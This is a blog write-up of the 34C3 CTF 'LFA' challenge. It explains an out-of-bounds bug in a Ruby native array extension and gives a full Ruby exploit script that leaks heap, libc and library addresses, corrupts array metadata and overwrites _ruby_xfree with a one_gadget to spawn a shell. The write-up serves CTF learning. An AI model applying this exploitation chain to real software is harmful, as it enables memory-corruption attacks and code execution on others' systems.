34C3 CTF PWN LFA Write-up

Introduction

I did not take this challenge during the contest. But after reading the write-up of [1][2][3], I think it’s a good chance to learn about ruby and sandbox escape. According to my test on the local machine, it seems that using one_gadget to get shell is also feasible. In this post, I will talk about how to trigger the vulnerability and hijack control flow to get shell in the end.
Since this is my first time to write ruby script also my first time to write ruby escape, please forgive my ugly code XOrz.

Vulnerability Analysis

LFA module defines a few operations on a self-maintained array: Initialize, Assign, Get, Remove and Sum. In this challenge, Sum is not used in our exploit, therefore we will not discuss on that. And Initialize and Remove are not involved in triggering the vulnerability. We will focus on Assign and Remove.

To begin with, let me introduce the data structure used in this challenge.

struct head_node
{
    int length;
    int short_mode;
    char *buffer;
    int  array[0x10];
}

struct data_node
{
    int start_index;
    uint16_t free_flags;
    char *nextbuffer;
    int array[0x10];
}

Let me explain with the following sample code:
Case 1: When the size of the array is less than 0x10
The head_node is used to store data in its internal data structure. And short_mode is set.

require 'LFA'
$arr = LFA.new()

$arr[0] = 1;
$arr[3] = 4;

STDIN.gets();

The memory layout is given below:

(gdb) x/20gx $2
0x5643cd9637b0:	0x0000000100000010	0x00005643cd9637c0
0x5643cd9637c0:	0x0000000000000001	0x0000000400000000
0x5643cd9637d0:	0x0000000000000000	0x0000000000000000
0x5643cd9637e0:	0x0000000000000000	0x0000000000000000
0x5643cd9637f0:	0x0000000000000000	0x0000000000000000

Case 2: When the size of the array is larger than 0x10
For head_node, it no longer stores the data in its internal data structure. The short_mode is unset and length is set to the maximum valid value of index.
For data_note, each bit in free_flags denotes the in_use status of each data. Each bit is initialized to 1 in the first place. index is served as base index for picking which data_node to use in Get function.

require 'LFA'
$arr = LFA.new()

$arr[0] = 1;
$arr[3] = 4;
$arr[23] = 5;

STDIN.gets();
(gdb) x/40gx $2
0x55c8723c3830:	0x0000000000000018	0x000055c8723c3890
0x55c8723c3840:	0x0000000000000001	0x0000000400000000
0x55c8723c3850:	0x0000000000000000	0x0000000000000000
0x55c8723c3860:	0x0000000000000000	0x0000000000000000
0x55c8723c3870:	0x0000000000000000	0x0000000000000000
0x55c8723c3880:	0x000055c8722c85e0	0x0000000000000061
0x55c8723c3890:	0x0000ffff00000000	0x000055c8723c38f0
0x55c8723c38a0:	0x0000000000000001	0x0000000400000000
0x55c8723c38b0:	0x0000000000000000	0x0000000000000000
0x55c8723c38c0:	0x0000000000000000	0x0000000000000000
0x55c8723c38d0:	0x0000000000000000	0x0000000000000000
0x55c8723c38e0:	0x000055c87238c468	0x0000000000000061
0x55c8723c38f0:	0x0000000100000017	0x0000000000000000
0x55c8723c3900:	0x0000000000000005	0x0000000000000000
0x55c8723c3910:	0x0000000000000000	0x0000000000000000
0x55c8723c3920:	0x0000000000000000	0x0000000000000000
0x55c8723c3930:	0x0000000000000000	0x0000000000000000

Assign function:
(1) If the short_mode is set it checks
(1-1) If the index is smaller than 0x10, it directly puts data into array.
(1-2) Otherwise, it moves the data in head_node to a newly allocated data_node and allocates the new value to another allocated data_node
(2) If the short_mode is not set
(2-1) If the index is smaller than length, it goes through the linked list and puts the data into proper data_node. If the data_note does not exist, allocate one.
(2-2) Otherwise, allocate one new date_node and insert data.

The vulnerability exists in Remove function. Remove function will set the corresponding data to 0 and set the corresponding bit in free_flags to zero. If all bits in free_flags are 0, it will unlink the data_node from linked list. The vulnerability exists in one operation of Remove. If there exists only one data_node in the linked list and its index, Remove will move the data in this data_node back to head_node. But the problem is that length is not set back to 0x10, its keep the original value, which results in out-of-bound read/write in the end. Let’s use the following sample code to explain.

require 'LFA'

$arr = LFA.new()

for i in 0..15
		$arr[i] = 0x41;
end

$arr[0x15000] = 0x30;

for i in 0..15
		$arr.remove(i);
end

$arr[0] = 0x41;

$arr.remove(0x15000);

STDIN.gets();

In the end, we can observe that shor_mode is set, but the maximum size of current array is 0x15000.

(gdb) x/40gx $2
0x55e4059fa440:	0x0000000100015001	0x000055e4059fa450
0x55e4059fa450:	0x0000000000000041	0x0000000000000000
0x55e4059fa460:	0x0000000000000000	0x0000000000000000
0x55e4059fa470:	0x0000000000000000	0x0000000000000000
0x55e4059fa480:	0x0000000000000000	0x0000000000000000

Exploit Plan

To explain the exploit technique used in my script, we need to get to understand the internal of ruby language. In my exploit, we use Array object to leak and modify data. More details are given in [4].

Let me discuss only Array here with the sample code below

require 'LFA'

$corruptArraySize = 0x40
$corruptArray = Array.new($corruptArraySize);
for i in 0..$corruptArraySize
	$corruptArray[i] = Array.new(0x20);
	for j in 0..20
		$corruptArray[i][j] = j+0x414141;
	end
end

STDIN.gets();
(gdb) x/40x 0x55a30c2959e0-0x10
0x55a30c2959d0:	0x6f6c6c61206f7420	0x0000000000000111
0x55a30c2959e0:	0x0000000000828283	0x0000000000828285
0x55a30c2959f0:	0x0000000000828287	0x0000000000828289
0x55a30c295a00:	0x000000000082828b	0x000000000082828d
0x55a30c295a10:	0x000000000082828f	0x0000000000828291
0x55a30c295a20:	0x0000000000828293	0x0000000000828295
0x55a30c295a30:	0x0000000000828297	0x0000000000828299
0x55a30c295a40:	0x000000000082829b	0x000000000082829d
0x55a30c295a50:	0x000000000082829f	0x00000000008282a1
0x55a30c295a60:	0x00000000008282a3	0x00000000008282a5
0x55a30c295a70:	0x00000000008282a7	0x00000000008282a9
0x55a30c295a80:	0x00000000008282ab	0x0000000000000008
0x55a30c295a90:	0x0000000000000008	0x0000000000000008
0x55a30c295aa0:	0x0000000000000008	0x0000000000000008
0x55a30c295ab0:	0x0000000000000008	0x0000000000000008
0x55a30c295ac0:	0x0000000000000008	0x0000000000000008
0x55a30c295ad0:	0x0000000000000008	0x0000000000000008
0x55a30c295ae0:	0x736d65672e302e33	0x0000000000000111
0x55a30c295af0:	0x0000000000828283	0x0000000000828285
0x55a30c295b00:	0x0000000000828287	0x0000000000828289

(gdb) x/20gx 0x55a30c3621c8
0x55a30c3621c8:	0x000055a30c2959e0	0x0000000000000007
0x55a30c3621d8:	0x000055a30c19bf18	0x0000000000000020
0x55a30c3621e8:	0x0000000000000020	0x000055a30c3d9220

In ruby, the integer value in Array is treated as an object and saved as original_value*2 + 1. The metadata for processing the saved data array is stored somewhere else in memory.

Since on 64-bit system, the initial oob read/write can only access at most 16MB data after the victim LFA array. The basic plan of exploitation is to corrupt the metadata first, and locate the address of LFA array and then address of LFA.so and libc.so. In the end, I corrupt the _ruby_xfree to one_gadget address and use Remove function to get a shell.

Exploit

require 'LFA'

$largeSize = 0x15000

$arr = LFA.new();

for i in 0..15
	$arr[i] = 0x41;
end


$arr[$largeSize] = 0x30;

for i in 0..15
	$arr.remove(i);
end

$arr[0] = 0x51;
#$arr[1] = 0x51;

#puts $arr[20000]

$arr.remove($largeSize);

def ToUint64(v1, v2)
	return ((v1<<32) | (v2 & 0xffffffff));
end

def ToInt(num)
	if(num <= 0x7fffffff and num >= 0)
		return num;
	else
		return num - 0x100000000;
	end
end

$corruptArraySize = 0x40000
$corruptArray = Array.new($corruptArraySize);
for i in 0..$corruptArraySize
	$corruptArray[i] = Array.new(0x20);
	for j in 0..20
		$corruptArray[i][j] = j+0x414141;
	end
end

#start to search heap addr
puts "Start to leak"
$leakedHeapAddr =  ToUint64($arr[0x17], $arr[0x16]);
if($leakedHeapAddr == 0)
	puts "invalid Heap addr"
	exit
end


printf("Leaked heap: 0x%x\n", $leakedHeapAddr);
$LFAArrayAddr = $leakedHeapAddr - 0xc0;
printf("LFA Array base addr: 0x%x\n", $LFAArrayAddr);

#start to leak libc.so addr
$i = 0;
while $i < 0x15000 do
	if( ( ($arr[$i+1] &0xffffff00) == 0x7f00) and (($arr[$i] & 0xfff) == 0xb58) )
		#printf("0x%x\n", ToUint64($arr[$i+1], $arr[$i]));
		break;
	end
	$i = $i+2;
end

puts "Leak libc base addr"
$libcBaseAddr =ToUint64($arr[$i+1], $arr[$i]) - 0x399b58;

printf("leaked libc base addr: 0x%x\n", $libcBaseAddr);

$i = 0;
while $i < 0x15000 do
	if( ($arr[$i+2] == 0x20) and ( $arr[$i+4] == 0x20)  )
		if( ( ( ($arr[$i+1] &0xff00) == 0x5500) or ( ($arr[$i+1] &0xff00) == 0x5600)) and ($arr[$i-2] == 0x67))
			break;
		end
	end
	$i = $i+2;
end

puts "Leak address of one of sprayed heaps"

$baseIndex = $i

if($i >= 0x15000)
	puts "Unable to find the array"
	exit
end

$arrayMetaDataAddr = $LFAArrayAddr + $i * 4 + 0x28;
$corruptArrayBaseAddr = ToUint64($arr[$i+7], $arr[$i+6]);
printf("corrupt Array base addr: 0x%x at 0x%x\n", $corruptArrayBaseAddr, $arrayMetaDataAddr);

def write64(targetAddr, targetValue)
	index = (targetAddr - $LFAArrayAddr - 0x10)/4
	printf("Index: 0x%x\n", index);
	printf("Target Value: 0x%x\n", targetValue);
	$arr[index] = ToInt(targetValue & 0xffffffff);
	$arr[index+1] = ToInt(targetValue >> 32);
end

def read64(targetAddr)
	index = (targetAddr - $LFAArrayAddr - 0x10)/4
	printf("Index: 0x%x\n", index);
	return ToUint64($arr[index+1], $arr[index]);
end

write64($arrayMetaDataAddr, $LFAArrayAddr-0x80);

puts "Search for the corrupted Array"
for i in 0..$corruptArraySize
	if( $corruptArray[i][18] == 0x28)
		break;
	end
end

if(i>= $corruptArraySize)
	puts "Unable to find the corrupted array, maybe base address is wrong"
	exit
end

$corruptedArrayIndex = i;
printf("The index of corrupted array in the sprayed arrays: 0x%x\n", $corruptedArrayIndex);

$corruptArray[$corruptedArrayIndex][4] = 0x43445;
$corruptArray[$corruptedArrayIndex][17] =  ($LFAArrayAddr-0x20)/2;

$arr[9] = 0;

curMin = $LFAArrayAddr & 0xffffffff;
for i in 0..32
	if($arr[i*2 + 1] == ($LFAArrayAddr >>32))
		if( $arr[i*2] < curMin )
			printf("Search for proper base address: 0x%x%x\n", $arr[i*2+1], $arr[i*2]);
			curMin = $arr[i*2];
		end
		if( $arr[i*2] == ($LFAArrayAddr & 0xffffff00))
			break;
		end
	end
end

#corrupt the base address of LFA array to a smaller one
$arrayOffset = i;
printf("Array offset: 0x%x\n", $arrayOffset);
$arr[(i-1)*2] = 0x405001;
$arr[(i-1)*2+2] = curMin;

#start to search for LFA BaseAddr
while $i < 0x400000 do
	if( ( ($arr[$i+1] &0xffffff00) == 0x7f00) and (($arr[$i] & 0xfff) == 0xf90) )
		printf("0x%x\n", ToUint64($arr[$i+1], $arr[$i]));
		if( ($arr[$i+1] &0xffff) <=  ($libcBaseAddr >> 32)  )
			break;
		end
	end
	$i = $i+2;
end

if $i >= 0x400000
	puts "Unable to locate the base address of LFA library"
	exit
end

$LFALibBaseAddr = ToUint64($arr[$i+1], ($arr[$i]-0xf90 ));
printf("Base Address of LFA library: 0x%x\n", $LFALibBaseAddr);

#start to reassign the base address of LFA array
$corruptArray[$corruptedArrayIndex][17] =  ($LFAArrayAddr-0x20)/2;

puts $arrayOffset

$arr[9] = ToInt( (($arrayOffset-1)*8+0xa) * 0x1000000 );

#change base address of LFA array to LFA.so
$arr[0] = (($LFALibBaseAddr >> 16) & 0xffffffff)

$currentLFAArrayBaseAddr = ($LFALibBaseAddr & 0xffffffff0000) + ($LFAArrayAddr & 0xfff0) + 0xa;
printf("Current LFA Array base addr: 0x%x\n", $currentLFAArrayBaseAddr);

#start to overwrite _ruby_xfree
index = ($LFALibBaseAddr + 0x202028 - $currentLFAArrayBaseAddr - 2) / 4;

$one_gadget_addr = $libcBaseAddr + 0x3f35a;
$arr[index] = ToInt( ($one_gadget_addr& 0xffff)*0x10000 );
$arr[index+1] = ToInt( $one_gadget_addr >> 16  );

puts "Trigger"
$arr.remove();
puts "Done"

The final result is given below:

Conclusion

According to my understanding on the seccomp filter used in this challenge, I should not be able to use one_gadget to get shell in the end because, syscall execve should be disabled in function seccomp_init. If there is any new findings on this challenge, I may update a new post to describe.

Reference

[1] https://gist.github.com/Charo-IT/52d3752c20499de72f65803a4762cd18
[2] https://github.com/david942j/ctf-writeups/tree/master/34c3ctf-2017/LFA
[3] http://gcli.cn/2017/12/31/LFA/
[4] https://ruby-hacking-guide.github.io/object.html

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.